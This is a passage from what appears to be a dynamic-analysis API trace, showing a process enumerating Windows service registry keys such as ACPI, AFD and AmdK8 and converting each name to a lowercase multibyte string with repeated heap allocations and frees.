dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0239.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0239.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1928, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0239.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.511] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0239.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0239.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1d60, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0239.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.512] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0239.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0239.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.512] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0239.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0239.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.512] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0239.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0239.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.513] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0239.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0239.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.513] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0239.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0239.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1928, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0239.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.513] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0239.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0239.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.513] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0239.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0239.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.514] RegEnumKeyW (in: hKey=0x150, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0239.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0239.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.514] RegEnumKeyW (in: hKey=0x150, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0239.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0239.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.514] RegEnumKeyW (in: hKey=0x150, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0239.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0239.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1d60, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0239.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.514] RegEnumKeyW (in: hKey=0x150, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0239.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0239.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.515] RegEnumKeyW (in: hKey=0x150, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0239.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0239.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.515] RegEnumKeyW (in: hKey=0x150, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0239.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0239.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.515] RegEnumKeyW (in: hKey=0x150, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0239.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0239.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.516] RegEnumKeyW (in: hKey=0x150, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0239.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0239.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.516] RegEnumKeyW (in: hKey=0x150, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0239.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0239.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.516] RegEnumKeyW (in: hKey=0x150, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0239.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0239.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.516] RegEnumKeyW (in: hKey=0x150, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0239.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0239.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.517] RegEnumKeyW (in: hKey=0x150, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0239.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0239.517] RtlAllocateHeap 